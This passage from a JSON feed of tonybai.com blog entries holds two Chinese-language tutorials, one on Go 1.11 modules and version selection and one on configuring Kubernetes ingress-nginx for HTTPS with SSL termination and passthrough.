mode，即无论要构建的源码目录是否在GOPATH路径下，go compiler都不会在传统的GOPATH和vendor目录下搜索目标程序依赖的go package，而是在go mod命令的缓存目录($GOPATH/pkg/mod）下搜索对应版本的依赖package；\n当GO111MODULE的值为auto时(不显式设置即为auto)，也就是我们在上面的例子中所展现的那样：使用GOPATH mode还是module-aware mode，取决于要构建的源码目录所在位置以及是否包含go.mod文件。如果要构建的源码目录不在以GOPATH/src为根的目录体系下，且包含go.mod文件(两个条件缺一不可)，那么使用module-aware mode；否则使用传统的GOPATH mode。\n四. go modules的依赖版本选择 1. build list和main module go.mod文件一旦创建后，它的内容将会被go toolchain全面掌控。go toolchain会在各类命令执行时，比如go get、go build、go mod等修改和维护go.mod文件。\n之前的例子中，hello module依赖的c、d(indirect)两个包均没有显式的版本信息（比如: v1.x.x），因此go mod使用Pseudo-versions机制来生成和记录c, d的“版本”，我们可以通过下面命令查看到这些信息：\n# go list -m -json all { \u0026quot;Path\u0026quot;: \u0026quot;hello\u0026quot;, \u0026quot;Main\u0026quot;: true, \u0026quot;Dir\u0026quot;: \u0026quot;/root/test/hello\u0026quot; } { \u0026quot;Path\u0026quot;: \u0026quot;bitbucket.org/bigwhite/c\u0026quot;, \u0026quot;Version\u0026quot;: \u0026quot;v0.0.0-20180714063616-861b08fcd24b\u0026quot;, \u0026quot;Time\u0026quot;: \u0026quot;2018-07-14T06:36:16Z\u0026quot;, \u0026quot;Dir\u0026quot;: \u0026quot;/root/go/pkg/mod/bitbucket.org/bigwhite/c@v0.0.0-20180714063616-861b08fcd24b\u0026quot; } { \u0026quot;Path\u0026quot;: \u0026quot;bitbucket.org/bigwhite/d\u0026quot;, \u0026quot;Version\u0026quot;: \u0026quot;v0.0.0-20180714005150-3e3f9af80a02\u0026quot;, \u0026quot;Time\u0026quot;: \u0026quot;2018-07-14T00:51:50Z\u0026quot;, \u0026quot;Indirect\u0026quot;: true, \u0026quot;Dir\u0026quot;: \u0026quot;/root/go/pkg/mod/bitbucket.org/bigwhite/d@v0.0.0-20180714005150-3e3f9af80a02\u0026quot; } go list -m输出的信息被称为build list，也就是构建当前module所要构建的所有相关package（及版本）的列表。在输出信息中我们看到 “Main”: true这一信息，标识当前的module为**“main module”**。所谓main module，即是go build命令执行时所在当前目录所归属的那个module，go命令会在当前目录、当前目录的父目录、父目录的父目录…等下面寻找go.mod文件，所找到的第一个go.mod文件对应的module即为main module。如果没有找到go.mod，go命令会提示下面错误信息：\n# go build test/hello/hello.go go: cannot find main module root; see 'go help modules' 当然我们也可以使用下面命令简略输出build list：\n# go list -m all hello bitbucket.org/bigwhite/c v0.0.0-20180714063616-861b08fcd24b bitbucket.org/bigwhite/d v0.0.0-20180714005150-3e3f9af80a02 2. module requirement 现在我们给c、d两个package打上版本信息：\npackage c: v1.0.0 v1.1.0 v1.2.0 package d: v1.0.0 v1.1.0 v1.2.0 v1.3.0 然后清除掉$GOPATH/pkg/mod目录，并将hello.mod重新置为初始状态（只包含module字段）。接下来，我们再来构建一次hello.go:\n// ~/test/hello目录下 # go build hello.go go: finding bitbucket.org/bigwhite/c v1.2.0 go: downloading bitbucket.org/bigwhite/c v1.2.0 go: finding bitbucket.org/bigwhite/d v1.3.0 go: downloading bitbucket.org/bigwhite/d v1.3.0 # ./hello call C: v1.2.0 --\u0026gt; call D: call D: v1.3.0 --\u0026gt; call D end # cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.2.0 // indirect (c package被标记为indirect，这似乎是当前版本的一个bug) bitbucket.org/bigwhite/d v1.3.0 // indirect ) 我们看到，再一次初始构建hello module时，Go compiler不再用最新的commit revision所对应的Pseudo-version，而是使用了c、d两个package的最新发布版（c:v1.2.0，d: v1.3.0）。\n如果我们对使用的c、d版本有特殊约束，比如：我们使用package c的v1.0.0，package d的v1.1.0版本，我们可以通过go mod -require来操作go.mod文件，更新go.mod文件中的require段的信息：\n# go mod -require=bitbucket.org/bigwhite/c@v1.0.0 # go mod -require=bitbucket.org/bigwhite/d@v1.1.0 # cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.0.0 // indirect bitbucket.org/bigwhite/d v1.1.0 // indirect ) # go build hello.go go: finding bitbucket.org/bigwhite/d v1.1.0 go: finding bitbucket.org/bigwhite/c v1.0.0 go: downloading bitbucket.org/bigwhite/c v1.0.0 go: downloading bitbucket.org/bigwhite/d v1.1.0 # ./hello call C: v1.0.0 --\u0026gt; call D: call D: v1.1.0 --\u0026gt; call D end 我们看到由于我们显式地修改了对package c、d两个包的版本依赖约束，go build构建时会去下载package c的v1.0.0和package d的v1.1.0版本并完成构建。\n3. module query 除了通过传入package@version给go mod -requirement来精确“指示”module依赖之外，go mod还支持query表达式，比如：\n# go mod -require='bitbucket.org/bigwhite/c@\u0026gt;=v1.1.0' go mod会对query表达式做求值，得出build list使用的package c的版本:\n# cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.1.0 bitbucket.org/bigwhite/d v1.1.0 // indirect ) # go build hello.go go: downloading bitbucket.org/bigwhite/c v1.1.0 # ./hello call C: v1.1.0 --\u0026gt; call D: call D: v1.1.0 --\u0026gt; call D end go mod对module query进行求值的算法是“选择最接近于比较目标的版本(tagged version)”。以上面例子为例：\nquery text: \u0026gt;=v1.1.0 比较的目标版本为v1.1.0 比较形式：\u0026gt;= 因此，满足这一query的最接近于比较目标的版本(tagged version)就是v1.1.0。\n如果我们给package d增加一个约束“小于v1.3.0”，我们再来看看go mod的选择：\n# go mod -require='bitbucket.org/bigwhite/d@\u0026lt;v1.3.0' # cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.1.0 // indirect bitbucket.org/bigwhite/d \u0026lt;v1.3.0 ) # go build hello.go go: finding bitbucket.org/bigwhite/d v1.2.0 go: downloading bitbucket.org/bigwhite/d v1.2.0 # ./hello call C: v1.1.0 --\u0026gt; call D: call D: v1.2.0 --\u0026gt; call D end 我们看到go mod选择了package d的v1.2.0版本，根据module query的求值算法，v1.2.0恰是最接近于“小于v1.3.0”的tagged version。\n用下面这幅示意图来呈现这一算法更为直观一些：\n4. minimal version selection(mvs) 到目前为止，我们所使用的example都是最最简单的，hello module所依赖的package c和package d并没有自己的go.mod，也没有定义自己的requirements。对于复杂的包依赖场景，Russ Cox在“Minimal Version Selection”一文中给过形象的算法解释(注意：这个算法仅是便于人类理解，但是性能低下，真正的实现并非按照这个算法实现)：\n例子情景\n算法的形象解释\nMVS以build list为中心，从一个空的build list集合开始，先加入main module(A1)，然后递归计算main module的build list，我们看到在这个过程中，先得到C 1.2的build list，然后是B 1.2的build list，去重合并后形成A1的rough build list，选择集合中每个module的最新version，最终形成A1的build list。\n我们改造一下我们的例子，让它变得复杂些！\n首先，我们为package c添加go.mod文件，并为其打一个新版本：v1.3.0：\n//bitbucket.org/bigwhite/c/go.mod module bitbucket.org/bigwhite/c require ( bitbucket.org/bigwhite/d v1.2.0 ) 在module bitbucket.org/bigwhite/c的module文件中，我们为其添加一个requirment: bitbucket.org/bigwhite/d@v1.2.0。\n接下来，我们将hello module重置为初始状态，并删除$GOPATH/pkg/mod目录。我们修改一下hello module的hello.go如下：\npackage main import \u0026quot;bitbucket.org/bigwhite/c\u0026quot; import \u0026quot;bitbucket.org/bigwhite/d\u0026quot; func main() { c.CallC() d.CallD() } 我们让hello module也直接调用package d，并且我们在初始情况下，给hello module添加一个requirement:\nmodule hello require ( bitbucket.org/bigwhite/d v1.3.0 ) 好了，这次我们再来构建一下hello module：\n# go build hello.go go: finding bitbucket.org/bigwhite/d v1.3.0 go: downloading bitbucket.org/bigwhite/d v1.3.0 go: finding bitbucket.org/bigwhite/c v1.3.0 go: downloading bitbucket.org/bigwhite/c v1.3.0 go: finding bitbucket.org/bigwhite/d v1.2.0 # cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.3.0 // indirect bitbucket.org/bigwhite/d v1.3.0 // indirect ) # ./hello call C: v1.3.0 --\u0026gt; call D: call D: v1.3.0 --\u0026gt; call D end call D: v1.3.0 我们看到经过mvs算法后，go compiler最终选择了d v1.3.0版本。这里也模仿Russ Cox的图解给出hello module的mvs解析示意图(不过我这个例子还是比较simple)：\n5. 使用package d的v2版本 按照语义化版本规范，当出现不兼容性的变化时，需要升级版本中的major值，而go modules允许在import path中出现v2这样的带有major版本号的路径，表示所用的package为v2版本下的实现。我们甚至可以同时使用一个package的v0/v1和v2两个版本的实现。我们依旧使用上面的例子来实操一下如何在hello module中使用package d的两个版本的代码。\n我们首先需要为package d建立module文件：go.mod，并标识出当前的module为：bitbucket.org/bigwhite/d/v2（为了保持与v0/v1各自独立演进，可通过branch的方式来实现），然后基于该版本打v2.0.0 tag。\n// bitbucket.org/bigwhite/d #cat go.mod module bitbucket.org/bigwhite/d/v2 改造一下hello module，import d的v2版本：\n// hello.go package main import \u0026quot;bitbucket.org/bigwhite/c\u0026quot; import \u0026quot;bitbucket.org/bigwhite/d/v2\u0026quot; func main() { c.CallC() d.CallD() } 清理hello module的go.mod，仅保留对package c的requirement:\nmodule hello require ( bitbucket.org/bigwhite/c v1.3.0 ) 清理$GOPATH/pkg/mod目录，然后重新构建hello module：\n# go build hello.go go: finding bitbucket.org/bigwhite/c v1.3.0 go: finding bitbucket.org/bigwhite/d v1.2.0 go: downloading bitbucket.org/bigwhite/c v1.3.0 go: downloading bitbucket.org/bigwhite/d v1.2.0 go: finding bitbucket.org/bigwhite/d/v2 v2.0.0 go: downloading bitbucket.org/bigwhite/d/v2 v2.0.0 # cat go.mod module hello require ( bitbucket.org/bigwhite/c v1.3.0 // indirect bitbucket.org/bigwhite/d/v2 v2.0.0 // indirect ) # ./hello call C: v1.3.0 --\u0026gt; call D: call D: v1.2.0 --\u0026gt; call D end call D: v2.0.0 我们看到c package依然使用的是d的v1.2.0版本，而main中使用的package d已经是v2.0.0版本了。\n五. go modules与vendor 在最初的设计中，Russ Cox是想彻底废除掉vendor的，但在社区的反馈下，vendor得以保留，这也是为了兼容Go 1.11之前的版本。\nGo modules支持通过下面命令将某个module的所有依赖保存一份copy到root module dir的vendor下:\n# go mod -vendor # ls go.mod go.sum hello.go vendor/ # cd vendor # ls bitbucket.org/ modules.txt # cat modules.txt # bitbucket.org/bigwhite/c v1.3.0 bitbucket.org/bigwhite/c # bitbucket.org/bigwhite/d v1.2.0 bitbucket.org/bigwhite/d # bitbucket.org/bigwhite/d/v2 v2.0.0 bitbucket.org/bigwhite/d/v2 # tree . . ├── bitbucket.org │ └── bigwhite │ ├── c │ │ ├── c.go │ │ ├── go.mod │ │ └── README.md │ └── d │ ├── d.go │ ├── README.md │ └── v2 │ ├── d.go │ ├── go.mod │ └── README.md └── modules.txt 5 directories, 9 files 这样即便在go modules的module-aware mode模式下，我们依然可以只用vendor下的package来构建hello module。比如：我们先删除掉$GOPATH/pkg/mod目录，然后执行：\n# go build -getmode=vendor hello.go # ./hello call C: v1.3.0 --\u0026gt; call D: call D: v1.2.0 --\u0026gt; call D end call D: v2.0.0 当然生成的vendor目录还可以兼容go 1.11之前的go compiler。不过由于go 1.11之前的go compiler不支持在GOPATH之外使用vendor机制，因此我们需要将hello目录copy到$GOPATH/src下面，再用go 1.10.2版本的compiler编译它：\n# go version go version go1.10.2 linux/amd64 ~/test/hello# go build hello.go hello.go:3:8: cannot find package \u0026quot;bitbucket.org/bigwhite/c\u0026quot; in any of: /root/.bin/go1.10.2/src/bitbucket.org/bigwhite/c (from $GOROOT) /root/go/src/bitbucket.org/bigwhite/c (from $GOPATH) hello.go:4:8: cannot find package \u0026quot;bitbucket.org/bigwhite/d/v2\u0026quot; in any of: /root/.bin/go1.10.2/src/bitbucket.org/bigwhite/d/v2 (from $GOROOT) /root/go/src/bitbucket.org/bigwhite/d/v2 (from $GOPATH) # cp -r hello ~/go/src # cd ~/go/src/hello # go build hello.go # ./hello call C: v1.3.0 --\u0026gt; call D: call D: v1.2.0 --\u0026gt; call D end call D: v2.0.0 编译输出和程序的执行结果均符合预期。\n六. 小结 go modules刚刚merge到go trunk中，问题还会有很多。merge后很多gopher也提出了诸多问题，可以在这里查到。当然哪位朋友如果也遇到了go modules的问题，也可以在go官方issue上提出来，帮助go team尽快更好地完善go 1.11的go modules机制。\ngo module的加入应该算是go 1.11版本最大的变化，go module的内容很多，短时间内我的理解也可能存在偏差和错误，欢迎广大gopher们交流指正。\n参考资料：\ngo modules have landed 需科学上网访问 Go \u0026amp; Versioning go help mod 51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/07/15/hello-go-module/","summary":"\u003cp\u003e自2007年“三巨头（\u003ca href=\"https://github.com/griesemer\"\u003eRobert Griesemer\u003c/a\u003e, \u003ca href=\"https://en.wikipedia.org/wiki/Rob_Pike\"\u003eRob Pike\u003c/a\u003e, \u003ca href=\"https://en.wikipedia.org/wiki/Ken_Thompson\"\u003eKen Thompson\u003c/a\u003e）”提出设计和实现\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e以来，\u003ca href=\"https://golang.org/\"\u003eGo语言\u003c/a\u003e已经发展和演化了\u003ca href=\"https://tonybai.com/2017/09/24/go-ten-years-and-climbing/\"\u003e十余年\u003c/a\u003e了。这十余年来，Go取得了巨大的成就，先后在2009年和2016年当选\u003ca href=\"https://www.tiobe.com/tiobe-index/\"\u003eTIOBE\u003c/a\u003e年度最佳编程语言，并在全世界范围内拥有数量庞大的拥趸。不过和其他主流编程语言一样，Go语言也不是完美的，不能满足所有开发者的“口味”。这些年来Go在“包依赖管理”和“缺少泛型”两个方面饱受诟病，它们也是Go粉们最希望Go核心Team重点完善的两个方面。\u003c/p\u003e\n\u003cp\u003e今年(2018)年初，Go核心Team的技术leader，也是Go Team最早期成员之一的\u003ca href=\"https://research.swtch.com/\"\u003eRuss Cox\u003c/a\u003e在\u003ca href=\"https://research.swtch.com/\"\u003e个人博客\u003c/a\u003e上连续发表了\u003ca href=\"https://research.swtch.com/vgo\"\u003e七篇文章\u003c/a\u003e，系统阐述了Go team解决“包依赖管理”的技术方案: \u003ca href=\"https://github.com/golang/vgo\"\u003evgo\u003c/a\u003e。vgo的主要思路包括：\u003ca href=\"https://research.swtch.com/vgo-import\"\u003eSemantic Import Versioning\u003c/a\u003e、\u003ca href=\"https://research.swtch.com/vgo-mvs\"\u003eMinimal Version Selection\u003c/a\u003e、\u003ca href=\"https://research.swtch.com/vgo-module\"\u003e引入Go module\u003c/a\u003e等。这七篇文章的发布引发了Go社区激烈地争论，尤其是MVS(最小版本选择)与目前主流的依赖版本选择方法的相悖让很多传统Go包管理工具的维护者“不满”，尤其是“准官方工具”：\u003ca href=\"https://tonybai.com/tag/dep\"\u003edep\u003c/a\u003e。vgo方案的提出也意味着dep项目的生命周期即将进入尾声。\u003c/p\u003e","title":"初窥Go module"},{"content":"在公有云被广泛接纳的今天，数据传输安全问题日益凸显，因为在公有云提供商的经典网络（二层互通）中，即便是内部网络通信也要考虑网络嗅探等hack手段，这也是公有云主推所谓“专用网络（二层隔离）”的原因之一。从应用的角度，我们应该尽量通过技术手段保证数据通信的安全性。而目前最常用的方式就是基于SSL/TLS的安全通信方式了，在七层，对应的就是https了。\n这样，下面的仅在负载均衡/反向代理入口做加密通信的传统模型越来越无法满足数据安全性的需要了(nginx与backend service之间是基于明文的http通信)：\n传统安全通信模型： client --- (via https) ---\u0026gt; nginx ---- (via http) ----\u0026gt; upstream backend services 我们需要下面的模型：\n更为安全的通信模型： client --- (via https) ---\u0026gt; nginx ---- (via https) ----\u0026gt; upstream backend services 在Kubernetes集群中，这种情况稍好些，首先，业务负载运行在集群的“虚拟网络”中，其次，一些K8s的网络插件实现是支持跨节点网络加密的（有一定的网络性能损耗），比如weave。但永远没有绝对的安全，作为业务应用的设计和实现人员，我们要尽可能的保证数据的通信安全，因此在面向七层的应用中，要尽可能的使用基于HTTPS的通信模型。本篇就来实践一下如何为Kubernetes集群内的HTTPS服务进行ingress的配置。\n一. 例子概述与环境准备 在《实践kubernetes ingress controller的四个例子》一文中，我讲解了四种基本的kubernetes ingress配置方式。在这些例子中，有些例子的ingress controller(nginx)与backend service之间使用的是https，但client到ingress controller之间的通信却一直是基于http的。在本文中，我们的目标就是上面提到的那个更为安全的通信模型，即client与ingress controller(nginx)、nginx与backend service之间均使用的是https通信。这里在《实践kubernetes ingress controller的四个例子》一文例子的基础上，我们创建一个新的nginx ingress controller: nginx-ingress-controller-ic3，并将后端的svc7~svc9三个不同类型的服务暴露给client，如下图所示：\nsvc7: 是对传统通信模型的“复现”，即client与ingress controller(nginx)间采用https加密通信，但ingress controller(nginx)与svc7间则是明文的http通信； svc8: 是ssl-termination的安全配置模型，即client与svc8的https通信分为“两段”，client与nginx建立https连接后，nginx将client提交的加密请求解密后，再向svc8发起https请求，并重新加密请求数据。这种client端ssl的过程在反向代理或负载均衡器终结的https通信方式被称为“ssl-termination”。 svc9: 是ssl-passthrough的安全配置模型，即nginx不会对client的https request进行解密，而是直接转发给backend的svc9服务，client端的ssl过程不会终结于nginx，而是在svc9对应的pod中终结。这种https通信方式被称为”ssl-passthrough”。这种配置模型尤其适合backend service对client端进行client certificate验证的情况，同时也降低了nginx加解密的性能负担。 本文基于下面环境进行实验：kubernetes 1.10.3、weave networks 2.3.0、nginx-ingress-controller:0.15.0。关于本文涉及的例子的源码、chart包以及ingress controllers的yaml源文件可以在这里下载到。\n二. 建立新的ingress-nginx-controller：nginx-ingress-controller-ic3 为了更好地进行例子说明，我们建立一个新的ingress-nginx-controller：nginx-ingress-controller-ic3，svc7~svc9都通过该ingress controller进行服务入口的暴露管理。要创建nginx-ingress-controller-ic3，我们首先需要在ic-common.yaml中为Role: nginx-ingress-role添加一个resourceName： “ingress-controller-leader-ic3″，并apply生效：\n// ic-common.yaml ... ... resourceNames: # Defaults to \u0026quot;\u0026lt;election-id\u0026gt;-\u0026lt;ingress-class\u0026gt;\u0026quot; # Here: \u0026quot;\u0026lt;ingress-controller-leader\u0026gt;-\u0026lt;nginx\u0026gt;\u0026quot; # This has to be adapted if you change either parameter # when launching the nginx-ingress-controller. - \u0026quot;ingress-controller-leader-ic1\u0026quot; - \u0026quot;ingress-controller-leader-ic2\u0026quot; - \u0026quot;ingress-controller-leader-ic3\u0026quot; ... ... # kubectl apply -f ic-common.yaml 我们为nginx-ingress-controller-ic3创建nodeport service，新nodeport为：30092：\n// ic3-service-nodeport.yaml apiVersion: v1 kind: Service metadata: name: ingress-nginx-ic3 namespace: ingress-nginx-demo spec: type: NodePort ports: - name: https port: 443 targetPort: 443 nodePort: 30092 protocol: TCP selector: app: ingress-nginx-ic3 注意：ingress-nginx-ic3 service的nodeport映射到ic3 ingress controller的443端口，也就是支持安全通信的端口，而不是明文的80端口。\n最后创建nginx-ingress-controller-ic3 pod，可以复制一份ic2-mandatory.yaml，然后将内容中的ic2全部修改为ic3即可：\n# kubectl apply -f ic3-mandatory.yaml 如无意外，nginx-ingress-controller-ic3应该已经正常地运行在你的k8s cluster中了。\n三. svc7: 使用ssl termination，但nginx与backend服务之间采用明文传输（http) 加密Web流量有两个主要配置方案：SSL termination和SSL passthrough。\n使用SSL termination时，客户端的SSL请求在负载均衡器/反向代理中解密，解密操作将增加负载均衡器的工作负担，较为耗费CPU，但简化了SSL证书的管理。至于负载均衡器和后端之间的流量是否加密，需要nginx另行配置。\nSSL Passthrough，意味着client端将直接将SSL连接发送到后端(backend)。与SSL termination不同，请求始终保持加密，并且解密负载分布在后端服务器上。但是，这种情况的SSL证书管理略复杂，证书必须在每台服务器上自行管理。另外，在这种方式下可能无法添加或修改HTTP header，可能会丢失X-forwarded-* header中包含的客户端的IP地址，端口和其他信息。\n我们先来看一种并不那么“安全”的“传统模型”：在nginx上暴露https，但nginx到backend service(svc7)采用http。\n我们先来创建相关的密钥和公钥证书，并以一个Secret：ingress-controller-demo-tls-secret存储密钥和证书数据：\n// ingress-controller-demo/manifests下面 # openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ic3.key -out ic3.crt -subj \u0026quot;/CN=*.tonybai.com/O=tonybai.com\u0026quot; # kubectl create secret tls ingress-controller-demo-tls-secret --key ic3.key --cert ic3.crt svc7几乎是和svc1一样的程序（输出的字符串标识不同），但svc7的ingress与svc1大不相同，因为我们需要通过https访问svc7的ingress：\n// svc7的values.yaml ... ... replicaCount: 1 image: repository: bigwhite/ingress-controller-demo-svc7 tag: v0.1 pullPolicy: Always service: type: ClusterIP port: 443 ingress: enabled: true annotations: kubernetes.io/ingress.class: ic3 path: / hosts: - svc7.tonybai.com tls: - secretName: ingress-controller-demo-tls-secret hosts: - svc7.tonybai.com ... ... 与svc1的values.yaml不同的是，我们使用的ingress controller是ic3，我们开启了tls，secret用的就是我们上面创建的那个secret：ingress-controller-demo-tls-secret。创建ic3-svc7后，我们看到ingress controller内部的nginx.conf中有关svc7的配置输出如下：\n# kubectl exec nginx-ingress-controller-ic3-67f7cf7845-2tnc9 -n ingress-nginx-demo -- cat /etc/nginx/nginx.conf # map port 442 to 443 for header X-Forwarded-Port map $pass_server_port $pass_port { 442 443; default $pass_server_port; } upstream default-ic3-svc7-http { least_conn; keepalive 32; server 192.168.28.13:8080 max_fails=0 fail_timeout=0; } ## start server svc7.tonybai.com server { server_name svc7.tonybai.com ; listen 80; listen [::]:80; set $proxy_upstream_name \u0026quot;-\u0026quot;; listen 442 proxy_protocol ssl http2; listen [::]:442 proxy_protocol ssl http2; # PEM sha: 248951b75535e0824c1a7f74dc382be3447057b7 ssl_certificate /ingress-controller/ssl/default-ingress-controller-demo-tls-secret.pem; ssl_certificate_key /ingress-controller/ssl/default-ingress-controller-demo-tls-secret.pem; ssl_trusted_certificate /ingress-controller/ssl/default-ingress-controller-demo-tls-secret-full-chain.pem; ssl_stapling on; ssl_stapling_verify on; location / { ... ... proxy_pass http://default-ic3-svc7-http; proxy_redirect off; } ... ... } ## end server svc7.tonybai.com 可以看到30092(nodeport) 映射的ingress controller的443端口在svc7.tonybai.com这个server域名下已经有了ssl标识，并且ssl_certificate和ssl_certificate_key对应的值就是我们之前创建的ingress-controller-demo-tls-secret。\n我们通过curl访问以下svc7服务：\n# curl -k https://svc7.tonybai.com:30092 Hello, I am svc7 for ingress-controller demo! 此时，如果再用http方式去访问svc7，你会得到下面错误结果：\n# curl http://svc7.tonybai.com:30092 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;400 The plain HTTP request was sent to HTTPS port\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body bgcolor=\u0026quot;white\u0026quot;\u0026gt; \u0026lt;center\u0026gt;\u0026lt;h1\u0026gt;400 Bad Request\u0026lt;/h1\u0026gt;\u0026lt;/center\u0026gt; \u0026lt;center\u0026gt;The plain HTTP request was sent to HTTPS port\u0026lt;/center\u0026gt; \u0026lt;hr\u0026gt;\u0026lt;center\u0026gt;nginx/1.13.12\u0026lt;/center\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 四. svc8: 使用ssl termination，但nginx与backend服务之间采用加密传输(https) 前面说过，SSL termination配置场景中，负载均衡器和后端之间的流量是否加密，需要nginx另行配置。svc7采用了未加密的方式，nginx -\u0026gt; backend service存在安全风险，我们要将其改造为也通过https进行数据加密传输，于是有了svc8这个例子。\nsvc8对应的程序本身其实是上一篇文章《实践kubernetes ingress controller的四个例子》中的svc2的clone（唯一修改就是输出的log中的标识)。\n在svc8对应的chart中，我们将values.yaml改为：\n// ingress-controller-demo/charts/svc8/values.yaml replicaCount: 1 image: repository: bigwhite/ingress-controller-demo-svc8 tag: v0.1 pullPolicy: Always service: type: ClusterIP port: 443 ingress: enabled: true annotations: # kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/secure-backends: \u0026quot;true\u0026quot; kubernetes.io/ingress.class: ic3 path: / hosts: - svc8.tonybai.com tls: - secretName: ingress-controller-demo-tls-secret hosts: - svc8.tonybai.com ... ... 与svc7不同点在于values.yaml中的新annotation： nginx.ingress.kubernetes.io/secure-backends: “true”。这个annotation让nginx以https的方式去访问backend service: svc8。安装svc8 chart后，ingress nginx controller为svc8生成的配置如下：\n## start server svc8.tonybai.com server { server_name svc8.tonybai.com ; listen 80; listen [::]:80; set $proxy_upstream_name \u0026quot;-\u0026quot;; listen 442 proxy_protocol ssl http2; listen [::]:442 proxy_protocol ssl http2; # PEM sha: 248951b75535e0824c1a7f74dc382be3447057b7 ssl_certificate /ingress-controller/ssl/default-ingress-controller-demo-tls-secret.pem; ssl_certificate_key /ingress-controller/ssl/default-ingress-controller-demo-tls-secret.pem; ssl_trusted_certificate /ingress-controller/ssl/default-ingress-controller-demo-tls-secret-full-chain.pem; ssl_stapling on; ssl_stapling_verify on; location / { ... ... proxy_pass https://default-ic3-svc8-https; proxy_redirect off; } } ## end server svc8.tonybai.com upstream default-ic3-svc8-https { least_conn; keepalive 32; server 192.168.28.14:8080 max_fails=0 fail_timeout=0; } 使用curl访问svc8服务（-k: 忽略对server端证书的校验)：\n# curl -k https://svc8.tonybai.com:30092 Hello, I am svc8 for ingress-controller demo! 五. svc9: 使用ssl passthrough, termination at pod 某些服务需要通过对client端的证书进行校验的方式，进行身份验证和授权，svc9就是这样一个对client certification进行校验的双向https校验的service。针对这种情况，ssl termination的配置方法无法满足需求，我们需要使用ssl passthrough的方案。\n在ingress nginx controller开启ssl passthrough方案需要在ingress controller和ingress中都做一些改动。\n首先我们需要为nginx-ingress-controller-ic3添加一个新的命令行参数：–enable-ssl-passthrough，并重新apply生效：\n// ic3-mandatory.yaml ... ... spec: serviceAccountName: nginx-ingress-serviceaccount containers: - name: nginx-ingress-controller-ic3 image: quay.io/kubernetes-ingress-controller/nginx-ingress-controller:0.15.0 args: - /nginx-ingress-controller - --default-backend-service=$(POD_NAMESPACE)/default-http-backend - --configmap=$(POD_NAMESPACE)/nginx-configuration-ic3 - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services-ic3 - --udp-services-configmap=$(POD_NAMESPACE)/udp-services-ic3 - --publish-service=$(POD_NAMESPACE)/ingress-nginx-ic3 - --annotations-prefix=nginx.ingress.kubernetes.io - --enable-ssl-passthrough - --ingress-class=ic3 ... ... 然后在svc9的chart中，为ingress添加新的annotation nginx.ingress.kubernetes.io/ssl-passthrough: “true”\n// ingress-controller-demo/charts/svc9/values.yaml replicaCount: 1 image: repository: bigwhite/ingress-controller-demo-svc9 tag: v0.1 pullPolicy: Always service: type: ClusterIP port: 443 ingress: enabled: true annotations: kubernetes.io/ingress.class: ic3 nginx.ingress.kubernetes.io/ssl-passthrough: \u0026quot;true\u0026quot; path: / hosts: - svc9.tonybai.com tls: - secretName: ingress-controller-demo-tls-secret hosts: - svc9.tonybai.com ... ... isntall svc9 chart之后，我们用curl来访问以下svc9：\n# curl -k https://svc9.tonybai.com:30092 curl: (35) gnutls_handshake() failed: Certificate is bad 由于svc9程序对client端的certificate进行验证，没有提供client certificate的curl请求被拒绝了！svc9 pod的日志也证实了这一点：\n2018/06/25 05:36:29 http: TLS handshake error from 192.168.31.10:38634: tls: client didn't provide a certificate 我们进入到ingress-controller-demo/src/svc9/client路径下，执行：\n# curl -k --key ./client.key --cert ./client.crt https://svc9.tonybai.com:30092 Hello, I am svc9 for ingress-controller demo! 带上client.crt后，svc9通过了验证，返回了正确的应答。\nclient路径下是一个svc9专用的客户端，我们也可以执行该程序去访问svc9:\n# go run client.go Hello, I am svc9 for ingress-controller demo! 我们再看看采用ssl-passthrough方式下ingress-nginx controller的访问日志，当curl请求发出时，ingress-nginx controller并未有日志输出，因为没有在nginx处ssl termnination，从此也可以证实：nginx将client的ssl过程转发到pod中去了，即passthrough了。\n51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/06/25/the-kubernetes-ingress-practice-for-https-service/","summary":"\u003cp\u003e在公有云被广泛接纳的今天，数据传输安全问题日益凸显，因为在公有云提供商的经典网络（二层互通）中，即便是内部网络通信也要考虑网络嗅探等hack手段，这也是公有云主推所谓“专用网络（二层隔离）”的原因之一。从应用的角度，我们应该尽量通过技术手段保证数据通信的安全性。而目前最常用的方式就是基于\u003ca href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\u003eSSL/TLS\u003c/a\u003e的安全通信方式了，在七层，对应的就是\u003ca href=\"https://tonybai.com/2015/04/30/go-and-https/\"\u003ehttps\u003c/a\u003e了。\u003c/p\u003e","title":"HTTPS服务的Kubernetes 